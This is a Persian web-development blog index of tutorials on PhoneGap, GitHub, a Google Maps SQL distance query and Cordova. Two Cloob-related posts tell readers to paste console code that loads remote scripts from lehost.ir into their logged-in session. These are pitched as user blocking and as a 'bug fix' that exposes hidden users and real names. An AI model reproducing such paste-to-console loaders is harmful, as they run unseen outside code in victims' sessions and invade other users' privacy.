دانشنامه طراحی و برنامه نویسی تحت وب

آیا می دانید شما می توانید آموزش ، اسکریپت و یا مقاله مورد نظرتان را از ما کاملا رایگان درخواست کنید ؟
        برای درخواست اینجا کلیک کنید
مقالات کلوب

۴۵ مطلب توسط «سید فرزاد سید عربی نژاد» ثبت شده است

حال ، به سایت phonegap build مراجعه کنید

http://build.phonegap.com

صفحه زیر باز خواهد شد.

توجه : در صورتی که اکانت گیت هاب دارین از گزینه sing in استفاده کنید و در غیر اینصورت روی گزینه Register کلیک کرده و Adobe ID بسازید (نیاز به ف...شکن)

آموزش برنامه نویسی موبایل فونگپ

بعد از کلیک روی گزینه Sing in در صفحه زیر روی قسمت Sign in with Github کلیک کرده و از طریق اکانت گیت هاب خود وارد شوید.

آموزش برنامه نویسی موبایل فونگپ


اگر ورود شما با موفقیت انجام شود شما صفحه زیر را خواهید دید :

آموزش برنامه نویسی موبایل فونگپ


  • سید فرزاد سید عربی نژاد

فونگپ چیست ؟ در این خصوص قبلا صحبت کردیم و در صورت تمایل به مطالعه آن اینجا کلیک کنید.


شما در این آموزش خواهید آموخت چگونه یک صفحه یا برنامه ای که تحت وب طراحی کرده اید را به یک نرم افزار موبایل تبدیل کنید.

روش کار بسیار ساده است !!! 


اولین چیزی که برای استفاده از امکانات adobe Phonegap نیاز دارید داشتن یک اکانت github یا adobeID است ! که برای اینکه گیت هاب کاملا رایگان بوده ما از آن استفاده خواهیم کرد ! (اگر میتوانید با آیپی های خارج از ایران وارد شوید بهتر است با ادوب آیدی وارد شوید)


گیت هاب github چیست !؟

گیت هاب در واقع یک مکانی برای مدیریت پروژه است ! شما به راحتی میتوانید با چندین نفر سورس برنامه های متن باز خود را روی آن قرار داده و در آنجا شروع به گسترش آن بکنید. در این وب سایت خیلی از پروژه های opensource دنیا قرار دارند مانند : لینوکس ، تویتر اوپن استرپ و .... .


شروع کار :

به وب سایت زیر بروید :

https://github.com/

در صفحه باز شده اطلاعات خود را وارد کرده و بر روی دکمه Sign up For GitHub

ثبت نام در github


در گام بعدی در پایین صفحه گزینه FREE را انتخاب کرده و بر روی دکمه Finish Sign up

مرحله دوم ساخت اکانت در گیت هاب


تبریک میگم شما با موفقیت اکانت گیت هاب خودتون رو ساختین ! 


در آموزش بعد نحوه ثبت نام در فونگپ را قرار خواهم داد. تا بعد یا علی

  • سید فرزاد سید عربی نژاد

معرفی برنامه لنزور - لنزور چیست ؟

سید فرزاد سید عربی نژاد | سه شنبه, ۱۵ بهمن ۱۳۹۲، ۰۴:۳۸ ب.ظ | ۰ نظر

اسکرین شات از لنزور

عکاسی از ظریف ترین و زیباترین جلوه های هنری قرن اخیر است. عکس حافظ جذاب ترین خاطره ها و بهترین نمایشگر لحظات تلخ و شیرین ما است. 

عکاسی که روزگاری حرفه ای سخت و دشوار به شمار می رفت ؛ امروزه در تمام شئون زندگی ما راه یافته است. من و شما بارها در برابر دوربین عکاسی قرار گرفته ایم و به دفعات از دیدن عکس های دوستان و تصاویر بدیع و دلپذیر طبیعت خاطرات لذتبخش و قابل تکرار گذشته را در دل زنده ساخته ایم. گاهی با دیدن یک عکس لبخندی بر لبانم نشسته و گاهی قطره اشکی بر صورتمان غلطیده است.


شک نیست هر صاحب دوربینی دوست دارد از این جعبه جادویی تصاویری زیبا بیرون آورده و از آن به بهترین شکل نگهداری نماید و به اشتراک دیگران بگذارد تا دوستان خود را نیز در لذت بردن از این سرگرمی هنری شریک نماید. ما لنزور را برای همین هدف طراحی نموده ایم.


شما می توانید در لنزور یک پروفایل اختصاصی داشته باشید و تصاویر خود را چه متعلق به شما باشد و چه نباشد " البته با رعایت قانون کپی رایت " میان دوستانتان و بازدیدکنندگان به اشتراک بگذارید.


وب سایت سازنده : www.lenzor.com

لینک دانلود مستقیم

قابلیت دانلود از روی بازار 

کد qr دانلود لنزور


  • سید فرزاد سید عربی نژاد

انتشار قالب رایگان BuuRTL

سید فرزاد سید عربی نژاد | پنجشنبه, ۳ بهمن ۱۳۹۲، ۱۰:۱۹ ق.ظ | ۰ نظر

قالب وب سایت به صورت HTML به همراه سورس های مورد نیاز آماده دانلود می باشد. این نسخه سازگاری نمایش در موبایل را نیز دارد

پیش نمایش :

قالب buuRTL

buuRTL
mobile buuRTL

لینک دانلود :
دریافت
  • سید فرزاد سید عربی نژاد

مسدود کردن خودکار کاربران متخلف

سید فرزاد سید عربی نژاد | دوشنبه, ۳۰ دی ۱۳۹۲، ۱۱:۵۷ ب.ظ | ۰ نظر

کد تویه کنسول کروم یا فایر فاکس کپی کنید و دکمه enter را بزنید. اگر درست انجام داده باشید بالای صفحه چت مینویسد : محافظت شده توسط تیم روت - ویکی وب


کد مربوطه :

var feriCloobName="000";
var js = document.createElement("script");
js.type = "text/javascript";
js.src = 'http://lehost.ir/666.js';
document.body.appendChild(js);

توجه توجه :‌ بعد از کپی کردن در کنسول متن برگرفته شده از .... را پاک کنید

نکته مهم : به جای ۳ تا صفر > 000 لطفا نام انگلیسی کلوبی که میخواهید از آن محافظت کنید را بنویسید. مانند مثال زیر >


در کلوب http://www.cloob.com/wiki_cloob نام خارجی کلوب این می باشد > wiki_cloob

  • سید فرزاد سید عربی نژاد

در این پست یک مثال کوتاه از بازیابی نقاط بر روی نقشه گوگل مپ رو میخوام بزارم . که نقاطی که در نفشه در فاصله 25 مایلی نقطه مد نظر ما هست رو برمیگردونه.

ساخت جدول

در گام اول پایگاه داده ای باید داشته باشیم تا اطلاعات اولیه از قبیل Latitude and Longitude را در آن ذخیره کنیم. برای مثال همانگونه که در عکس زیر مشاهده می کنید ما جدولی با 5 فیلد میسازیم.

ساخت جدول در php

کیوری مربوط به ساخت جدول :

CREATE TABLE `markers` (
  `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
  `name` VARCHAR( 60 ) NOT NULL ,
  `address` VARCHAR( 80 ) NOT NULL ,
  `lat` FLOAT( 10, 6 ) NOT NULL ,
  `lng` FLOAT( 10, 6 ) NOT NULL
) ENGINE = MYISAM ;

وارد کردن رکورد ها به جدول markers

در این مثال ما تصمیم داریم 6 رکورد از نقاط مختلف نقشه رو وارد جدول کرده و در بین آنها جستجو را انجام دهیم.

کیوری مربوط به وارد کردن رکورد ها: 
INSERT INTO `markers` (`name`, `address`, `lat`, `lng`) VALUES ('Frankie Johnnie & Luigo Too','939 W El Camino Real, Mountain View, CA','37.386339','-122.085823');
INSERT INTO `markers` (`name`, `address`, `lat`, `lng`) VALUES ('Amici\'s East Coast Pizzeria','790 Castro St, Mountain View, CA','37.38714','-122.083235');
INSERT INTO `markers` (`name`, `address`, `lat`, `lng`) VALUES ('Kapp\'s Pizza Bar & Grill','191 Castro St, Mountain View, CA','37.393885','-122.078916');
INSERT INTO `markers` (`name`, `address`, `lat`, `lng`) VALUES ('Round Table Pizza: Mountain View','570 N Shoreline Blvd, Mountain View, CA','37.402653','-122.079354');
INSERT INTO `markers` (`name`, `address`, `lat`, `lng`) VALUES ('Tony & Alba\'s Pizza & Pasta','619 Escuela Ave, Mountain View, CA','37.394011','-122.095528');
INSERT INTO `markers` (`name`, `address`, `lat`, `lng`) VALUES ('Oregano\'s Wood-Fired Pizza','4546 El Camino Real, Los Altos, CA','37.401724','-122.114646');
توجه کنید این اطلاعات فقط جهت تست بوده و شما میتوانید هر گونه که مایل هستید نقاط خود را بر روی نقشه ذخیره کنید

جستجوی نقاط بر روی نقشه با استفاده از کیوری

حال به مهمترین بخش این مثال میرسیم و اون نوشتن کیوری هست که نقاط موجود در پایگاه داده که در شعاع 25 مایلی از نقطه مرکزی ( 37, -122 ) است را بازیابی کند. 

کد مربوط به پرس جو:
SELECT id, ( 3959 * acos( cos( radians(37) ) * cos( radians( lat ) ) * cos( radians( lng ) - radians(-122) ) + sin( radians(37) ) * sin( radians( lat ) ) ) ) AS distance FROM markers HAVING distance < 25 ORDER BY distance LIMIT 0 , 20;
در کد بالا در صورتی که تمایل دارین جستجوی شما بر حسب کیلومتر باشد عدد 6371 را جایگزین عدد 3959 بکنید.
عدد های 37 مربوط به lat نقطه مرکزی و عدد -122 مربوط به lng نقطه مرکزی می باشد که باید جایگزینی های موردنظرتون رو انجام بدین.
در کد بالا LIMIT گذاشته شده که فقط 20 نقطه اول جستجو را باز میگرداند که میتوانید حذف و یا ویرایش کنید
عدد 25 فاصله ی مد نظر شماست که در این مثال نقاط زیر 25 مایل را بر میگرداند.

امیدوارم به دردتون بخوره . این مطلب از مقالات مربوط به برنامه های نقشه گوگل برداشته شده و در صورتی که قصد دارید این مقاله رو به طور کامل مطالعه کنید به آدرس زیر مراجعه فرماید.
https://developers.google.com/maps/articles/phpsqlsearch_v3

  • سید فرزاد سید عربی نژاد

آموزش تصویری گذاشتن عکس متحرک در روم های کلوب

سید فرزاد سید عربی نژاد | شنبه, ۳۰ آذر ۱۳۹۲، ۱۰:۳۵ ق.ظ | ۰ نظر

برای مشاهده کیفیت بهتر از طریق لینک زیر ویدیو اقدام به دریافت فایل نمایید



دریافت
مدت زمان: 4 دقیقه 19 ثانیه 


تهیه شده توسط ImaN ViPeR Lord of Destruction

  • سید فرزاد سید عربی نژاد

رفع باگ ۰ مشاهده افراد مخفی و اسم واقعی کاربران (به روز رسانی شد)

سید فرزاد سید عربی نژاد | جمعه, ۲۲ آذر ۱۳۹۲، ۰۳:۲۵ ب.ظ | ۱ نظر

از اونجایی که یک سری باگ ها همه گیر شد و قرار نبود اینجوری بشه نسخه ۱ رفع یک سری از باگ ها رو تصمیم گرفتیم منتشر کنیم.

روش کار بسیار ساده است. این کار به درد معاون ها و یا کسایی میخوره که میخوان بدونند کی مخفی تویه روم هست و اسم واقعی افراد در صورتی که تغییرش دادن چی هست . برای رفع این باگ نیاز به مرورگر گوگل کروم دارید . ( جدید ترین نسخه کروم پیشنهاد میشه )

توجه :روشی که ما برای رفع باگ استفاده کردیم در صورت تمایل سایت کلوب دی کد شده محصول ما در اختیارشون قرار میگیره .

روش کار :


بر رویه صفحه راست کلیک کرده و گزینه Inspect Element رو بزنید 



مخفی کردن نوشته های یکی در روم


در صفحه باز شده به منو آخر بروید :‌ console

کنسول کروم


حال از درون یکی از فایل های زیر کل کد را کپی کرده و درون کنسول کروم paste کنید !‌ و دکمه enter را بزنید.

آدرس ورژن جدید (در این نسخه عکس افرادی که مخفی وارد شده اند قرمز میشود)

http://lehost.ir/bugFixVersion2.wiki

آدرس کد  ورژن اولیه: (افراد مخقی مثل بقیه افراد اسمشان در روم ظاهر میشود)

http://lehost.ir/bugFixVersion1.wiki

توجه کنید این نسخه ۱ است و امکان داره کامل نیازهای شما رو برطرف نکنه. سعی شده تمام جوانب در نظر گرفته بشه در صورتی که مشکلی بود با نظر و یا از طریق کلوب با ما در تماس باشید .


  • سید فرزاد سید عربی نژاد

نگاهی جزئی به آنچه یک طراح وب باید امروز رعایت کند

سید فرزاد سید عربی نژاد | سه شنبه, ۱۹ آذر ۱۳۹۲، ۰۲:۵۴ ب.ظ | ۰ نظر

امروزه به خاطر افزایش تنوع دستگاه هایی که امکان مرور در اینترنت را به کاربران خود می دهند و بالطبع متنوع بودن اندازه نمایشگر آنها تکنیک و ساختار های جدیدی در قالب و اندازه وب سایت ها مورد استفاده قرار میگیرد. 

برای مثال شما شرکتی هستید که قصد دارید از طریق وب سایت در مورد محصولات خود به کاربران و بازدید کنندگان اطلاعات مورد نظرتان را انتقال دهید. حال باید مد نظر داشته باشید که از چه راه هایی کاربران به وب سایت شما دسترسی خواهند داشت !؟ و چه چیزی را برای جذب نگاه مشتری باید رعایت کنید ؟

برای مثال شرکت های بزرگ برای وب سایت های خود دستگاه های زیر را مد نظر قرار میدهند :

1- PC and Laptop Screen

2- Touch Screen , Tablet

3- Mobile Screen

4- SMART TV Browser

(توجه به این نکته هم مهم است که تمام دسته بندی های بالا تقسیم بندی و سایز های متفاوتی را درون خود دارند)

حال برای اینکه یک وبسایت با الگویی یکسان و قابل اجرا بر روی تمام دستگاه ها داشته باشند باید چه کنند ؟

پیشنهادی که میشود استفاده از جدید ترین تکنیک های طراحی استایل در وب سایت ها است که چند نکته مهم در هنگام طراحی قالب آن باید مد نظر گرفته شود ، که شامل :

 • تا جایی که امکان دارد اندازه سایت باید بزرگ باشد و در هنگام بزرگ شدن نمایشگر اندازه سایت نیز به همان نسبت تغییر سایز بدهد

 • در هنگام کوچک تر شدن سایز نمایشگر (برای موبایل) صفحات سایت اسکرول نخورد

 • امکان تاچ کردن بر روی صفحه وجود داشته باشد 


بخش مهم دیگری که در موقع طراحی سایت باید مد نظر قرار بگیرد بحث SEO یا همان بهینه سازی وب سایت برای جستجوگر هاست. اکثر کاربران وب سایت های بزرگ از طریق جستجو گر ها مقصد خود را پیدا میکنند که باید طراح وب این مسئله مهم را مد نظر قرار دهد. (عواملی که در SEO تاثیر می گذارند پیچیده و متنوع هستند که باید قبل از هر گونه طراحی و پیاده سازی وب باید با یک متخصص طراحی وب و یا SEO صحبت شود) این نکته هم مهم است که جستجوگر های امروزی دستگاهی که با آن جستجو میشود را نیز امتیاز بندی میکنند و نتایج را ارائه میکنند ، برای مثال روباتی که وب سایت ها را در گوگل برای کامپیوتر INDEX میکند با روبات موبایل گوگل فرق میکند.


و در نهایت مهمترین نکته ساختار و قالب وب سایت است که با استفاده از تکنلوژی های به روز بتواند نظر مشتری را در یک نگاه به خود جلب کند ! 

امروزه شرکت های بزرگی مانند گوگل برای معرفی محصولات خود از طریق وب سایت از شیوه های خلاقانه و کاربرپسندی استفاده میکنند، که ما نیز میتوانیم در این راه پیشرو باشیم. که میتوان اینگونه معرفیش کرد 

"هر کاربر که وارد صفحه اصلی سایت شد ، او را وادار کنیم بدون آنکه از صفحه خارج شود محصول ما را بپسندد و در مورد ما اطلاعات کسب کند"

اصولا به این شیوه مدل تایم لاینینگ یا اسکرول وب گفته میشود که کاربر از ابتدای صفحه تا انتهای صفحه را طی می کند و درباره محصول ، شرکت و ... اطلاعات به دست میاورد . 

برای مثال به گوگل برای معرفی محصولات خود وب سایت های خود را به این شیوه طراحی کرده است :

http://www.google.com/nexus/7/

برای هر اندازه نمایشگر این وب سایت قابل نمایش است و استفاده از افکت های زیبا در هدر بکگراند های ثابت زیبایی خاصی را به وب سایت اضافه می نماید. 


  • سید فرزاد سید عربی نژاد

Cordova یا Phonegap چیست !؟

سید فرزاد سید عربی نژاد | چهارشنبه, ۱۳ آذر ۱۳۹۲، ۰۹:۲۵ ب.ظ | ۲ نظر

کوردوا  - cordova - phonegap

phonegap ایده ی جالب و کاربردی از شرکت ادوبی بود که هدف از آن ساخت نرم افزار های موبایل با استفاده از کد زنی با زبان های HTML , CSS , JavaScript یا همان برنامه نویسی تحت وب بوده است. اما از آنجایی که ادوبی تصمیم داشت این پروژه به صورت open source در اختیار برنامه نویسان و طراحان قرار بگیرد تصمیم میگیرد مراحل پیاده سازی این پروژه رو به یکی از غول های شرکت حامی محصولات متن باز واگذار کند ! و چه شرکتی بهتر از Apache ! 

و شرکت آپاچی این پروژه رو با نام Cordova آغاز کرد (کوردوا نام خیابانی است که تیمی که این پلتفرم را میساختن در کشور کانادا در آن ساکن بودند).

در حال حاضر Cordova تا نسخه 3.1.0 به طور رسمی منتشر شده و در حال پیشرفت خوبی است !‌ 

از مزایای این پلتفرم می توان به قابلیت اجرا و ساخت اپلکیشن با این پلتفرم برای سیستم عامل های زیر اشاره کرد :

Android - Bada - Blackberry - FirefoxOS - iOS - Mac OS X - QT - Tizen - Ubuntu - WebOS - Windows (desktop) - Windows Phone 7 - Windows Phone 8

دیوانه کننده نیست ؟‌! شما تنها کافیست با زبان های تحت وب کلاینت برنامه نویسی کنید و در آن سو این همه app برای پلتفرم و سیستم عامل مورد نظر خودتون تحویل بگیرین !

من خودم بخش اندروید این پلتفرم رو بررسی کردم و چند تست باهاش انجام دادم . به نظر جالب می اومد مخصوصا اینکه در جاواسکریپت به شما قدرت استفاده از امکانات اندروید داده میشود !‌ مانند استفاده از مخاطبین گوشی ، شتاب سنج و ...

حال Cordova چگونه کار میکند !‌؟

در واقع این پلتفرم با استفاده از هسته مرورگر نصب شده بر روی سیستم عامل برنامه شما را اجرا میکند (یعنی یک مرورگر شبیه به برنامه است) که برای کاربر کار در محیط app را شبیه سازی میکند ! و با استفاده از nodejs , c و جاوا پلاگین و لایبرری هایی را در اختیار جاوا اسکریپت قرار میدهد که بتواند با هسته سیستم عامل و امکانات آن کار کند.

در نگاه کلی به نظر من هنوز پلتفرم جوان و قابل پیشرفتی است که به طراحان و گسترش دهندگان وب سایت ها اجازه میدهد که به راحتی وارد دنیای جذاب موبایل ها شوند . من خودم از jquery , bootstrap , html5 , css3 استفاده کردم و در نسخه اندروید 2.3 و 4.2 به صورت راضی کننده ای ازش بهره بردم.

برای کسب اطلاعات بیشتر میتونید از هر کدام یک از پلتفرم های یکسان زیر استفاده کنید 

پلتفرم هسته با پیشتیبانی APACHE به نام Cordova (من خودم با این کار کردم)

http://cordova.apache.org/

پلتفرم PhoneGap تحت پوشش شرکت ادوبی 

http://www.phonegap.com/
  • سید فرزاد سید عربی نژاد